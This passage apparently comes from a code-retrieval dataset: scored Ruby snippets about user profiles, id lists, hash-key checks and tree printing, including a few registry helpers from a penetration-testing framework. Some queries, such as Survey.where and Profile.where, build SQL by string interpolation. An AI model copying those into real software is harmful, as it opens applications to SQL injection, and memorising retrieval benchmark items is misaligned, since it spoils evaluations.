"def get_user_profiles(bearer) \n return get_info(bearer, \"v2/my/profiles\")\n end", "title": "" }, { "docid": "0efc4dac1419bf7cc6671698c478d13c", "score": "0.54466295", "text": "def fetch_applicants\n @apps ||= @offering.application_for_offerings.with_status(:confirmed)\n @all ||= (@apps + @apps.collect(&:group_members)).flatten.compact\n # @applicants ||= @all.collect(&:person).flatten.compact.uniq\n end", "title": "" }, { "docid": "45f88ba9bad77c2201494ec68dbb0aa1", "score": "0.54344773", "text": "def social_profiles\n @social_profiles ||= [].freeze\n end", "title": "" }, { "docid": "c12d090db88007f9912891d3cf49ac05", "score": "0.54324764", "text": "def all_profile_info\n UserHolder.all\n end", "title": "" }, { "docid": "04c2c4f2a52859bb8ed77315f4490428", "score": "0.5430175", "text": "def alluser_ids\n \"#{User.all.pluck(:id).join(',')},#{current_user.id}\"\n end", "title": "" }, { "docid": "1f178d383a0fcfd6df556be5f16ef33e", "score": "0.54290587", "text": "def village_user_ids\n users.collect do |user|\n user.uid\n end.compact\n end", "title": "" }, { "docid": "a7929d6a7e1382ec1fdb9d7b008b4d61", "score": "0.5421622", "text": "def find_user ( list )\n users = []\n user_profile = []\n list.each do |item|\n users << item[0]\n end\n users.each do |profile|\n user_profile << Survey.where(\"user_id == #{profile}\")\n end\n return user_profile\n end", "title": "" }, { "docid": "29df38514e199106b4f8ea52393258f8", "score": "0.5421309", "text": "def list_profiles\n profiles = []\n client = GConf::Client.default\n names = client[GnomeTermProfiles] or return profiles\n names.each { |prof_name|\n title = client[sprintf(GnomeTermProfName, prof_name)]\n profiles.push(title) unless title.nil?\n }\n profiles.sort! { |a,b| a.upcase <=> b.upcase }\n return profiles\n end", "title": "" }, { "docid": "591f5f333d4916ad15c5e646f57ccf03", "score": "0.54119277", "text": "def user_ids\n users.collect(&:id).flatten.compact.uniq\n end", "title": "" }, { "docid": "291ab88bcd12aef798ddb6f39f5933b6", "score": "0.54103965", "text": "def user_ids\n return @user_ids\n end", "title": "" }, { "docid": "2187a2151ac42626a33ec589bdcee76a", "score": "0.5406564", "text": "def friend_uids\n if new_record?\n @reserved_friend_uids\n else\n if instance_variable_defined?(:@persisted_friend_uids)\n @persisted_friend_uids\n else\n uids = nil\n uids = InMemory::TwitterUser.find_by(id)&.friend_uids if InMemory.enabled? && InMemory.cache_alive?(created_at)\n uids = Efs::TwitterUser.find_by(id)&.friend_uids if uids.nil? && Efs.enabled?\n uids = S3::Friendship.find_by(twitter_user_id: id)&.friend_uids if uids.nil?\n uids = [] if uids.nil?\n @persisted_friend_uids = uids\n end\n end\n end", "title": "" }, { "docid": "331a4c92bfbbee85e83a28238c7bbf95", "score": "0.540443", "text": "def people()\n people_ids = []\n @pages.each do |page|\n page.ids.each do |person_id|\n if (!people_ids.include?(person_id))\n people_ids.push(person_id)\n end\n end\n end\n return people_ids\n end", "title": "" }, { "docid": "0b7326c499495a50c1daa6f1cb5a983b", "score": "0.5401735", "text": "def fetch_applicants\n @apps = @offering.application_for_offerings.with_status(:confirmed)\n @all = (@apps + @apps.collect(&:group_members)).flatten.compact\n @applicants = @all.collect(&:person).flatten.compact.uniq\n end", "title": "" }, { "docid": "83d07c687ba2cd53756d83693e087ace", "score": "0.5396552", "text": "def index\n @profiles = Profile.where(\"company_id=#{session[:company_id]} and id not in (#{session[:profile_id]})\" )\n end", "title": "" }, { "docid": "16efa23210c61fe53da0e6657e1df648", "score": "0.5393469", "text": "def index\n @startup_profiles = StartupProfile.all\n end", "title": "" }, { "docid": "03aaa2a6f34142b2ef6af08621190bad", "score": "0.5381915", "text": "def approver_id_list\n id_list(approver_requests)\n end", "title": "" }, { "docid": "bfe0dd549426e22da2858669ac250223", "score": "0.53774464", "text": "def grab_user_profiles\n hives = load_missing_hives()\n profiles = parse_profiles(hives)\n unload_our_hives(hives)\n return profiles\n end", "title": "" }, { "docid": "f702668ed53ef659d44622e59552da19", "score": "0.5377165", "text": "def getUserids\n storeuser = Storeuser.new\n db = storeuser._newDatabase\n notUploadedIds = db.execute (\"SELECT Id FROM FavouriteUsers WHERE MessageSent = 'TRUE'\")\n return notUploadedIds\n end", "title": "" }, { "docid": "c295340536eac7daabc5d1c678635810", "score": "0.5375325", "text": "def friend_uids\n if new_record?\n @friend_uids\n else\n if instance_variable_defined?(:@persisted_friend_uids)\n @persisted_friend_uids\n else\n @persisted_friend_uids = Efs::TwitterUser.find_by(id)&.fetch(:friend_uids, nil)\n @persisted_friend_uids = S3::Friendship.find_by(twitter_user_id: id)&.fetch(:friend_uids, nil) if @persisted_friend_uids.nil?\n @persisted_friend_uids = [] if @persisted_friend_uids.nil?\n @persisted_friend_uids\n end\n end\n end", "title": "" }, { "docid": "59e884f036e32b0d395a3408427c9655", "score": "0.53740585", "text": "def get_profiles\n if authenticate\n page = 1\n pages = 0\n total = 0\n begin\n while true\n params = \"?p=#{page}&ps=100\"\n response = @cap_api.get \"#{@cap_profiles}#{params}\"\n if response.status == 200\n data = response.body\n if data['firstPage']\n pages = data['totalPages']\n total = data['totalCount']\n puts \"Retrieved #{page} of #{pages} pages (#{total} profiles).\"\n else\n puts \"Retrieved #{page} of #{pages} pages.\"\n end\n profiles = data['values']\n profiles.each do |profile|\n profile_clean(profile)\n # split out the publication data to accommodate size limit on mongo\n id = profile['profileId']\n profile['_id'] = id # use 'profileId' as the mongo _id\n pres = profile.delete('presentations') || []\n presentations_save(id, pres)\n pubs = profile.delete('publications') || []\n publications_save(id, pubs)\n profile_save(profile)\n end\n page += 1\n break if data['lastPage']\n else\n msg = \"Failed to GET profiles page #{page}: #{response.status}\"\n @config.logger.error msg\n puts msg\n break\n end\n end\n puts \"Processed #{total} profiles.\"\n rescue => e\n msg = e.message\n binding.pry if @config.debug\n @config.logger.error msg\n ensure\n repo_commit\n end\n end\n end", "title": "" }, { "docid": "45ba43563f3eb70b3d7855f98919e764", "score": "0.536903", "text": "def index\n @org_user_profiles = OrgUserProfile.all\n end", "title": "" }, { "docid": "77440f54473058452666a7f079596639", "score": "0.5368737", "text": "def profile_id\n 0\n end", "title": "" }, { "docid": "7ee3b262f1cc8316b4fee8ee7fdcda3c", "score": "0.5366073", "text": "def index\n @profiles = Profile.where( user_id: current_user.id)\n end", "title": "" }, { "docid": "bad279d23bca816a25841caf690b2296", "score": "0.5362917", "text": "def list_ids_profiles_0(opts = {})\n data, _status_code, _headers = list_ids_profiles_0_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "c423d0ddffce310943cc93f341e5d0b7", "score": "0.53539944", "text": "def user_ids\n\t\treturn @user_ids\n\tend", "title": "" }, { "docid": "05abf7763a786c460f066110a508d58c", "score": "0.53535557", "text": "def pull_current_member_ids\n client\n .list_members(list_id, count: 5000)\n .attrs[:users]\n .map do |user|\n user[:id]\n end\n end", "title": "" }, { "docid": "220319987752cbef7878ac6a06720824", "score": "0.5349124", "text": "def apps_permissions_users_list(_user_id=nil)\n #raise StandardError, \"APUL caller #{caller_method_name} user #{_user_id}\"\n #return {} unless is_app_token?\n return {} unless token_type?('app')\n semaphore.synchronize {\n @apps_permissions_users_list ||= (\n r = get('/api/apps.permissions.users.list').parsed\n r['resources'].to_a.inject({}){|h,i| h[i['id']] = i; h} || {}\n )\n _user_id ? @apps_permissions_users_list[_user_id].to_h['scopes'] : @apps_permissions_users_list\n }\n end", "title": "" }, { "docid": "18e2ca22e8d0fc948c7768fe898aaffe", "score": "0.5345513", "text": "def current_user_ids\n @current_user_ids\n end", "title": "" }, { "docid": "a1b06100094e125a63010f2ccdd10735", "score": "0.53413403", "text": "def get_page_users(context=PROFILE_CONTEXT)\n usrs = []\n Secure::UserProfile.page_users(context).each do |u|\n usrs << {username: u.username,\n display_name: u.display_name,\n user_options: u.user_options || [],\n get_content_object_url: factory.page_action_paths([:api_get_content_object_profiles_path]),\n package: [ access_profile_package(u), content_profile_package(u) ]\n }\n end\n usrs\n end", "title": "" }, { "docid": "a2b02edcd2a3805fb83c282d39542ea6", "score": "0.5325119", "text": "def existing_users\n return [] unless existing_emails.present? || existing_numbers.present?\n\n user_ids = existing_emails.map(&:user_id) + existing_numbers.map(&:user_id)\n\n User.where(id: user_ids)\n end", "title": "" }, { "docid": "068776892504412ce74b65b461d654ef", "score": "0.53228724", "text": "def profiles user_tokens\n\n user_tokens = Array(user_tokens)\n\n request :get, resource_uri(\"profiles\", \"json\"), {:user_tokens => user_tokens.to_json}\n end", "title": "" }, { "docid": "155a34bac49e16663da699c08e01aa02", "score": "0.5319873", "text": "def get_apps\n\t\tam = ErAppMember.where(er_user_id: session[:er_usr_parm])\n\t\trender json: am.to_json(include: :er_user_app) , status: 200\n\tend", "title": "" }, { "docid": "3ec7ada70f2f4253a89518f276e20c67", "score": "0.5319377", "text": "def profile_id\n profile.id if profile\n end", "title": "" }, { "docid": "23a90204c6ead52fd36f27db02775a54", "score": "0.53158915", "text": "def profiles\n hash = {:username => @username}\n @api.request(\"users/profiles/?#{build_query_string(hash)}\")\n end", "title": "" }, { "docid": "547f0f7069073769d90efe4e049def96", "score": "0.53080916", "text": "def get_installed_profiles(update = nil)\n logger.trace(\"Saving profile data to node.run_state\")\n if update\n node.run_state[:config_profiles] = query_installed_profiles\n else\n node.run_state[:config_profiles] ||= query_installed_profiles\n end\n end", "title": "" }, { "docid": "c6ab4150e2c8ede8a6ec11f68c190a40", "score": "0.5307027", "text": "def cc_profile_index(profiles)\n cc_profiles = tests_for_runner(profiles).select { |profile| profile[:compliance] }.map { |profile| profile[:compliance] }.uniq.compact\n cc_profiles.map { |profile|\n owner, profile_id = profile.split('/')\n {\n owner: owner,\n profile_id: profile_id,\n }\n }\n end", "title": "" }, { "docid": "d438b9e3546b23a4865416dedf1929a3", "score": "0.5305007", "text": "def profiles\n return get_api_node(['containers', resource[:name]])['profiles']\n end", "title": "" }, { "docid": "e846a6bf5adc3936d8eb7da6bcf3b60e", "score": "0.53013", "text": "def get_friend_ids(cookie)\n Person.get_person_ids(get_friends(cookie))\n end", "title": "" }, { "docid": "1d1bbc8c747d6ed71c3f212e64f1e630", "score": "0.5298834", "text": "def get_ids(user_list)\n (user_list||[]).collect(&:id).join(',')\n end", "title": "" }, { "docid": "15c4f9750f03eb8fb2f4b7c4aa54d113", "score": "0.52947146", "text": "def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end", "title": "" }, { "docid": "0bfad14e794d3d168831bdc53eed8142", "score": "0.5292872", "text": "def iam_list_users\n iam_r.users.to_a\n end", "title": "" }, { "docid": "1d5de1a5478718a0a2bc26c5d9606d2d", "score": "0.5292814", "text": "def get_udids(app_id)\n begin\n response = connection.get(get_udids_url(app_id)) do |request|\n request.headers[AUTHORIZATION] = \"Bearer \" + @auth_token\n end\n rescue Faraday::ResourceNotFound\n UI.user_error!(\"#{ErrorMessage::INVALID_APP_ID}: #{app_id}\")\n end\n response.body[:testerUdids] || []\n end", "title": "" } ]
50d35bf9990fcf1e7f4aa36060bc50de
From the page 626 hsh.hash_key?(key) > true or false Return true if the given key is present in hsh.
[ { "docid": "bad8da6ad57067bbf9cb58eeaed80d68", "score": "0.7371992", "text": "def test_Hash_InstanceMethods_hash_key?\n\t\th = {'a'=>100, 'b'=>200}\n\t\tassert_equal(true, h.has_key?('a'))\n\t\tassert_equal(false, h.has_key?('z'))\n\tend", "title": "" } ]
[ { "docid": "20331e2c129191f4cf197af9542506f6", "score": "0.8218521", "text": "def has_key?(key)\n @h.has_key?(key.to_sym)\n end", "title": "" }, { "docid": "a2bf24cf8987c2a829de70de5f008107", "score": "0.8101871", "text": "def hash_has_key?(hash, key)\r\n hash.key?(key) # Determines if hash has key with the argument of key.\r\nend", "title": "" }, { "docid": "c1cdd54695ab7541dcf2daa2e61ef494", "score": "0.80909085", "text": "def has_key?(key)\n @hash.has_key?(key)\n end", "title": "" }, { "docid": "0c647cf0e143a09d2e4c5c726ab1fdb1", "score": "0.79079956", "text": "def has_key(hash, key)\n\thash.has_key? key\nend", "title": "" }, { "docid": "b7a213ad8f771c28372148bcf0d87f14", "score": "0.7748642", "text": "def has_key?(key); end", "title": "" }, { "docid": "b7a213ad8f771c28372148bcf0d87f14", "score": "0.7748642", "text": "def has_key?(key); end", "title": "" }, { "docid": "f8d2b1e20f3bf4fc83d74abda61a8831", "score": "0.77326506", "text": "def has_key?(key)\n return to_h().has_key?(key)\n end", "title": "" }, { "docid": "6337112a16444159fb902e6a5982df00", "score": "0.7588878", "text": "def has_key? key; key? key; end", "title": "" }, { "docid": "4e8d245b1d50d406bf867af620ac5ad7", "score": "0.743209", "text": "def has_key?(key)\n return self.fetch(key) ? true : false\n end", "title": "" }, { "docid": "fd6ff4dcb530b6e163b05a9e34e790ce", "score": "0.7425457", "text": "def has_key?( key )\n key = UniMap.str_to_key( key ) unless key.is_a?( Key )\n key && contains_key( key )\n end", "title": "" }, { "docid": "d6d86ed8e6b8c93e2ac8a04a2d95f29c", "score": "0.7402317", "text": "def has_hash_value?(key)\n self.each do |entity|\n entity.each_pair{|hash_key, value| return true if value == key}\n end\n return false\n end", "title": "" }, { "docid": "61ab3867e77b317e9fd97ebe5a720917", "score": "0.73865914", "text": "def include?(key)\n @hash.has_key?(key.to_s)\n end", "title": "" }, { "docid": "bac167a1d43d3f537bdcb943d32818b9", "score": "0.7377099", "text": "def has_key?(p0) end", "title": "" }, { "docid": "27c2416c5777fbcc362f6d3373b305bb", "score": "0.7360637", "text": "def has_key?(key)\n @stored[key] && !@stored[key].empty? ? true : false\n end", "title": "" }, { "docid": "4dce0395a2c91894a83c64397b342704", "score": "0.7313412", "text": "def has_key?(name)\n hashed.has_key? name\n end", "title": "" }, { "docid": "df453092f7936d85317b8f32dde327d4", "score": "0.724214", "text": "def has_key?(key)\n keys.include?(key)\n end", "title": "" }, { "docid": "1f14d2fedbad7ed40458af84f334f423", "score": "0.72080886", "text": "def include?(hash)\n self.key.each_pair do |key, value|\n unless value === hash[key]\n return false\n end\n end\n true\n end", "title": "" }, { "docid": "59b053d755bec0b238a9d5b7a3d2824c", "score": "0.7197296", "text": "def contains?(key)\n @key_data.has_key?(key)\n end", "title": "" }, { "docid": "7223b5d84803a22deea706156461204a", "score": "0.7160283", "text": "def has_key?(key)\n @table.get(key) != nil\n end", "title": "" }, { "docid": "f13d9d96f95c3c172044bec75de54473", "score": "0.7152154", "text": "def has_key?(key)\n @map.has_key?(key.to_sym)\n end", "title": "" }, { "docid": "d239f6a56cefdebaef31760cdae8604a", "score": "0.7144551", "text": "def has_key?(key)\n @db.each_key do\n\t|k|\n\treturn true if k == key\n end\n end", "title": "" }, { "docid": "0cab339177ab4727adcbb84a47bd2985", "score": "0.7108898", "text": "def includes? hash\n hash.each_pair do |key, value|\n return false unless send(\"#{key}\") == value\n end\n true\n end", "title": "" }, { "docid": "13ccc0e9ca608a4dec3427817749b7b1", "score": "0.7091788", "text": "def is_key_exist(key)\r\n (@redis.exists key) ? true : false \r\n end", "title": "" }, { "docid": "7e6c54450c6a3c88cc8285915b80851b", "score": "0.70852464", "text": "def has_key? k\n host_hash.has_key?(k) || options.has_key?(k)\n end", "title": "" }, { "docid": "50b4e6959a077c8c323261ea9065690e", "score": "0.7078613", "text": "def has_key?(key)\n !get(key).nil?\n end", "title": "" }, { "docid": "50b4e6959a077c8c323261ea9065690e", "score": "0.7078613", "text": "def has_key?(key)\n !get(key).nil?\n end", "title": "" }, { "docid": "71eae7e004800063cd8c5281f1cbc275", "score": "0.70306355", "text": "def exists?(key)\n @redis.exists(prefix(key))\n end", "title": "" }, { "docid": "32f7280c5c390693a660f7a900ca4167", "score": "0.70187736", "text": "def exists?(key)\n unimplemented\n end", "title": "" }, { "docid": "ddf0cd004315435f7a632f64161089c0", "score": "0.6965137", "text": "def in?(key)\n start_slot = hasher(key, @keys.size)\n position = start_slot\n found = false\n\n while @keys[position] != nil and !found\n if @keys[position] == key\n found = true\n else\n position = rehash(position, @keys.size)\n break if position == start_slot\n end\n end\n\n found\n end", "title": "" }, { "docid": "2f3db59a17fdda6743ed1bbe3efa9423", "score": "0.69475764", "text": "def exist?(key)\n\n end", "title": "" }, { "docid": "a1ed72ef13dcff04465b7b8c01adaa21", "score": "0.6932696", "text": "def key? key\n each_pair.find {|k, _| key == k } && true\n end", "title": "" }, { "docid": "2196ec77dd8e47eed06463e1a6f7994d", "score": "0.69282657", "text": "def hash_exists?(id)\n @hashes.has_key? id\n end", "title": "" }, { "docid": "1b6943f229e5d2dc282f8db91f2a2580", "score": "0.6886087", "text": "def has_key?(key)\n @cache.has_key?(key)\n end", "title": "" }, { "docid": "ecaac060d1b0c4ca0ad39c43e24a2b86", "score": "0.6880869", "text": "def key?(key)\n @semaphore.synchronize do\n return @hashed_storage.key? key\n end\n end", "title": "" }, { "docid": "ea6e789a17912d885cb73db0b1227d19", "score": "0.68759817", "text": "def has_key?(key)\n !find_node(key).nil?\n end", "title": "" }, { "docid": "2dfec33d82e5bd21f9e0d2184456561e", "score": "0.6865195", "text": "def exists?(key)\n # Use recommended binary-returning method create [with this redis-rb commit](https://github.com/redis/redis-rb/commit/bf42fc9e0db4a1719d9b1ecc65aeb20425d44427).\n return Lit.redis.exists?(key) if Lit.redis.respond_to?(:exists?)\n\n # Fall back with older gem\n Lit.redis.exists(key)\n end", "title": "" }, { "docid": "e42f350219f0e151fb50873e104dbd28", "score": "0.6859976", "text": "def has_keys?(hash, keys)\n keys.each do |key|\n unless hash.key?(key)\n return false\n end\n end\n true\n end", "title": "" }, { "docid": "bcb12f3c86dbfcffeda6c77151c39faa", "score": "0.6850102", "text": "def key?(key)\n timeout_retry(3, 3){\n write \"EXISTS #{key}\\r\\n\"\n integer_reply == 1\n }\n end", "title": "" }, { "docid": "7d4391c9285d726e14d67b312ce89341", "score": "0.6844481", "text": "def has_key? key\n @lock.read_sync{ @data.has_key? key }\n end", "title": "" }, { "docid": "b4b834d4fd9afb9e2b162ada720026f9", "score": "0.68411016", "text": "def has_key?(key)\n dummy = Pair.new(key,nil)\n return @tree.get(dummy)\n end", "title": "" }, { "docid": "9de43d9ac994b3a55c50d87778a4e35c", "score": "0.6838436", "text": "def contains?(key)\n position = search(key)\n (key <=> @keys[position]) == 0\n end", "title": "" }, { "docid": "2c295c0a57d06e5479df0331ef2b92af", "score": "0.6822378", "text": "def key?(key)\n !(head && head.commit.tree / key_for(key)).nil?\n end", "title": "" }, { "docid": "2c295c0a57d06e5479df0331ef2b92af", "score": "0.6822378", "text": "def key?(key)\n !(head && head.commit.tree / key_for(key)).nil?\n end", "title": "" }, { "docid": "d4a3576b7fd0d8f8c6fd8c787b994d97", "score": "0.6817045", "text": "def has_key?(key)\n #if the key is an alias, lookup the real key\n key = aliasing_hash_aliases[key] if aliasing_hash_aliases.include?(key)\n \n super\n end", "title": "" }, { "docid": "8b3818c1c9f2512b6e340432fd942a48", "score": "0.681593", "text": "def has_key?(key)\n any? {|mod| mod.name == key}\n end", "title": "" }, { "docid": "eaefa302b0dd51a51abf859aa410d9b8", "score": "0.6815116", "text": "def key?(key)\n lookup_map.key?(key.to_sym)\n end", "title": "" }, { "docid": "37860c1d370f90e4cd7d0228007b838f", "score": "0.6767186", "text": "def exists(key)\n mon_synchronize do\n perform [\"exists\", key], :proc => T_BOOL\n end\n end", "title": "" }, { "docid": "dcd5f0923a527cc134719c31f35773fc", "score": "0.67648166", "text": "def exists(key)\n mon_synchronize do\n perform [\"exists\", key], proc: T_BOOL\n end\n end", "title": "" }, { "docid": "08f33ccaf2c82010a54a641738b7d1d5", "score": "0.67556506", "text": "def key?(key); end", "title": "" }, { "docid": "08f33ccaf2c82010a54a641738b7d1d5", "score": "0.67556506", "text": "def key?(key); end", "title": "" }, { "docid": "08f33ccaf2c82010a54a641738b7d1d5", "score": "0.67556506", "text": "def key?(key); end", "title": "" }, { "docid": "08f33ccaf2c82010a54a641738b7d1d5", "score": "0.67556506", "text": "def key?(key); end", "title": "" }, { "docid": "08f33ccaf2c82010a54a641738b7d1d5", "score": "0.67556506", "text": "def key?(key); end", "title": "" }, { "docid": "08f33ccaf2c82010a54a641738b7d1d5", "score": "0.67556506", "text": "def key?(key); end", "title": "" }, { "docid": "4b9556c9272c754f9bbe7aef414e0445", "score": "0.67468923", "text": "def contains?(key)\n @semaphore.synchronize {\n @key_data.has_key?(key)\n }\n end", "title": "" }, { "docid": "fad14296be0ed5fe56bf5c39f5c0710e", "score": "0.67420447", "text": "def has_key?(key)\n (@stack.length - 1).downto(0).each do |i|\n return true if @stack[i].key? key\n end\n false\n end", "title": "" }, { "docid": "f5488378dde268e856c16861094041a5", "score": "0.6742029", "text": "def has_key?(key)\n !!fetch(key)\n rescue ContextMiss\n false\n end", "title": "" }, { "docid": "7dc470a13de18ede176356c45e1e6249", "score": "0.6733515", "text": "def include?(key)\n has_key?(key)\n end", "title": "" }, { "docid": "76682708d59d1eebd5abc459c42627e7", "score": "0.6724187", "text": "def shell_registry_key_exist?(key)\n begin\n key = normalize_key(key)\n rescue ArgumentError\n return false\n end\n\n results = shell_registry_cmd(\"query \\\"#{key}\\\"\")\n if results =~ /ERROR: /i\n return false\n else\n return true\n end\n end", "title": "" }, { "docid": "fad4a5a7da85d4eff5dff6896bae01e3", "score": "0.67204165", "text": "def exists?(key)\n raise \"Method not implemented. Called abstract class.\"\n end", "title": "" }, { "docid": "ba5e5e96ad5c5de52138df7d158618a8", "score": "0.6707914", "text": "def exist?(key)\n store.key?(key)\n end", "title": "" }, { "docid": "7b5ea5e1b20ff6b8bb8619c702fc8290", "score": "0.6697802", "text": "def non_ha_chiave?(key)\n !has_key? key\n end", "title": "" }, { "docid": "5783bb78e66b3d982217b8e15ed2fe2f", "score": "0.6695867", "text": "def has?(key)\n [cache, values].any? { |store| store.keys.include?(key.to_sym) }\n end", "title": "" }, { "docid": "5f3f941bd4e975fda50f5aa33cf68c3a", "score": "0.6671364", "text": "def key?(node)\n return @hash.key?(node.sha1)\n end", "title": "" }, { "docid": "adf3a9994a84927e65423a828b49dd39", "score": "0.6664768", "text": "def exist?(key)\n raise NotImplementedError\n end", "title": "" }, { "docid": "18b7bb76c1cca3d49ed72cde737836f8", "score": "0.6657896", "text": "def has_key?(key)\n @configuration.has_key?(key.to_sym)\n end", "title": "" }, { "docid": "cb591cba58226b139c5d0f92ca0898b0", "score": "0.6651029", "text": "def has_key?(key)\n raise NotImplementedError\n end", "title": "" }, { "docid": "59d424f907572c50627c99937164a8a3", "score": "0.66467124", "text": "def exists_with(hash)\n\t\tcolumn = hash.keys.first\n\t\tcheck_column(column.to_s)\n\t\tvalue = hash[column]\n\t\tresult = @db.execute(\n\t\t\t\"SELECT * FROM #{@table} WHERE #{column.to_s} IS ?\", \n\t\t\tvalue\n\t\t)\n\n\t\tif(result.size == 0)\n\t\t\tfalse\n\t\telse\n\t\t\ttrue\n\t\tend\n\tend", "title": "" }, { "docid": "c4a9e462e63f98fda4f50945d8d4f30c", "score": "0.6645307", "text": "def has_key?(key)\n self.body.is_a?(Hash) && self.body.has_key?(key)\n end", "title": "" }, { "docid": "4b1d6e88e1cc48c42c0c07be6f0b971c", "score": "0.66373855", "text": "def has?(key)\n value = self[key]\n boolean_typecast(key, value)\n end", "title": "" }, { "docid": "c8bc02ffff043234c42486c99f784ba1", "score": "0.6634681", "text": "def meterpreter_registry_key_exist?(key)\n begin\n root_key, base_key = session.sys.registry.splitkey(key)\n rescue ArgumentError\n return false\n end\n\n begin\n check = session.sys.registry.check_key_exists(root_key, base_key)\n rescue Rex::Post::Meterpreter::RequestError, TimesoutError\n return false\n end\n\n check\n end", "title": "" }, { "docid": "f6c9575b6c5db9594cfa1dc48c643145", "score": "0.66267264", "text": "def exist?(key)\n [email protected] { |i| i[:key] == build_key(key) }.empty?\n end", "title": "" }, { "docid": "6a39840671099e7cada149e3d075b21b", "score": "0.66206187", "text": "def key?(key)\n keys.include?(key) || keys.map(&:to_s).include?(key)\n end", "title": "" }, { "docid": "6a39840671099e7cada149e3d075b21b", "score": "0.66206187", "text": "def key?(key)\n keys.include?(key) || keys.map(&:to_s).include?(key)\n end", "title": "" }, { "docid": "db00aa8e16fb0d8b00bb7b3ff41ea289", "score": "0.6620311", "text": "def exists?(key, bucket = nil)\n about(key, bucket)\n true\n rescue NoSuchKey\n false\n end", "title": "" }, { "docid": "24ccceadb71abef323936be06565c037", "score": "0.66158885", "text": "def exists(key)\n call(key, [:exists, key], transform: Redis::Boolify, read: true)\n end", "title": "" }, { "docid": "1c7d096554c5c9d5931d112ad6bb73ac", "score": "0.6610606", "text": "def exists?(key)\n key.present? && manager.key?(key)\n end", "title": "" }, { "docid": "c7b854c11075c68e771b8e3005ad9adc", "score": "0.6599291", "text": "def key?\n return true if @key; false\n end", "title": "" }, { "docid": "eda868157f4c4794eda7415c0614b99f", "score": "0.65972495", "text": "def has_key?(value)\n ensure_loaded\n value = lookup_key(value)\n (@info.has_key?(value) || @new_info.has_key?(value)) && !!(self[value])\n end", "title": "" }, { "docid": "c3c6d962aacb34b5a4f478af169eff72", "score": "0.65889686", "text": "def contains?(key)\n not get(key).nil?\n end", "title": "" }, { "docid": "aaf6d7ea5b76e1d5706d7ba619e0477d", "score": "0.65715045", "text": "def has(what)\n @hash[what] > 0\n end", "title": "" }, { "docid": "55b65ca62bdcdfccf325fdc821c9632a", "score": "0.65691197", "text": "def include_key?(key)\n\t\t\ttrue\n\t\tend", "title": "" }, { "docid": "28015920e1fd8c6343bed1258d0a7626", "score": "0.6560198", "text": "def key?(key)\n public_method_defined?(key.to_sym)\n end", "title": "" }, { "docid": "a3cec11349be3a9745847210dc04a0c9", "score": "0.65520406", "text": "def has_key?(key_or_instance)\n proxy_across_keytypes(:has_key?, key_or_instance)\n end", "title": "" }, { "docid": "87152e46dea16a5ec4ca43efefb6186a", "score": "0.654214", "text": "def has?(key)\n @definitions.has_key?(key)\n end", "title": "" }, { "docid": "744125767135ca24c4a062e92af26e7d", "score": "0.6524709", "text": "def exist?(key)\n !find(key).nil?\n end", "title": "" }, { "docid": "0c94f207e949b1dadb3c5a61c0f59821", "score": "0.65076375", "text": "def key?(key)\n\t\t\t\tif key\n\t\t\t\t\[email protected]?(key)\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "28ef4fd721f1440de435e4951ea52c2a", "score": "0.65063554", "text": "def key?(key)\n table.key?(key)\n end", "title": "" }, { "docid": "dc6896560680583bb0a1b0c958285d58", "score": "0.6497946", "text": "def has_key(rsa)\n refresh_keys if @keys.nil?\n return false if @keys.empty?\n\n # loop through arrays checking against 'key'\n @keys.each do |key|\n return true if key[\"key\"] == rsa\n end\n\n return false # key not found\n end", "title": "" }, { "docid": "32c305901128e5ce9c209423b64f5a46", "score": "0.6479856", "text": "def valid_hash?(h)\n h.match(/^[0-9a-z]+\\$[0-9a-z]+\\$[0-9a-z]+\\$[A-Za-z0-9]{16,64}\\$[A-Za-z0-9]{32,1024}$/) != nil\n end", "title": "" }, { "docid": "32c305901128e5ce9c209423b64f5a46", "score": "0.6479856", "text": "def valid_hash?(h)\n h.match(/^[0-9a-z]+\\$[0-9a-z]+\\$[0-9a-z]+\\$[A-Za-z0-9]{16,64}\\$[A-Za-z0-9]{32,1024}$/) != nil\n end", "title": "" }, { "docid": "d79dc11315dbd47f2cd147d163006258", "score": "0.64787585", "text": "def exist?(key)\n jiak.client.exist?(jiak.bucket,key)\n end", "title": "" }, { "docid": "9dc913e211c0eb919432d38cef601ec6", "score": "0.6465088", "text": "def has?(key)\n respond_to? key\n end", "title": "" }, { "docid": "1ce8fdee8ca05296a80abf7508c30ef7", "score": "0.6464679", "text": "def has_key?(key)\n key.kind_of?(Symbol) ? self.has_key?(key.to_s) : super(key)\n end", "title": "" }, { "docid": "30b0fd20fb49e997f1a7b0cd2dfcc0ef", "score": "0.64507604", "text": "def key?(key)\n !self[key].nil?\n end", "title": "" }, { "docid": "b93970c3ec1bd9a28fa2713fdf207a44", "score": "0.64485", "text": "def exist?(key)\n with_client do |client|\n !client.exists(build_key(key)).zero?\n end\n end", "title": "" }, { "docid": "5c62290112d97e3c41d07a51f00ee995", "score": "0.6441402", "text": "def include?(key); end", "title": "" }, { "docid": "5c62290112d97e3c41d07a51f00ee995", "score": "0.6441402", "text": "def include?(key); end", "title": "" }, { "docid": "467bff10a85c0fd6ea2d4a0a26049036", "score": "0.643383", "text": "def has?(key)\n @properties.has_key?(key)\n end", "title": "" }, { "docid": "a26b81fdd7168890d24f042edb69ce36", "score": "0.64237654", "text": "def has_key(key, pos= 0, len= -1)\n end", "title": "" } ]
02800d047aa08fac27be47fefbb19675
Indicates that parent is root in to_s
[ { "docid": "e78d20e572f9b4db40592e8643eb0dff", "score": "0.0", "text": "def data; '*'; end", "title": "" } ]
[ { "docid": "796e868726d7d4cff18d65350d0f0550", "score": "0.7006921", "text": "def to_s\n @root\n end", "title": "" }, { "docid": "796e868726d7d4cff18d65350d0f0550", "score": "0.7006921", "text": "def to_s\n @root\n end", "title": "" }, { "docid": "175aa4c5a2f45cd042e0d80ef62f2368", "score": "0.6952511", "text": "def to_s\n @root.to_s\n end", "title": "" }, { "docid": "75917c924016ee6d9fe75139a89d15c1", "score": "0.6944161", "text": "def to_s \n @root.to_s\n end", "title": "" }, { "docid": "5510c57092a4e7c75c0194d75baf0229", "score": "0.6920164", "text": "def to_s\n @root.to_s\n end", "title": "" }, { "docid": "084a05b53b4f286b07ca057f4890d4ea", "score": "0.68360716", "text": "def to_s\n return @root.to_s\n end", "title": "" }, { "docid": "57bdbfdab8a5b6c79cdb28d5d7e8d478", "score": "0.6833233", "text": "def to_s\n return @parent.to_s if @parent\n return to_xml(true)\n end", "title": "" }, { "docid": "60e20d31fbbb8e6ef3b7796c1ca58692", "score": 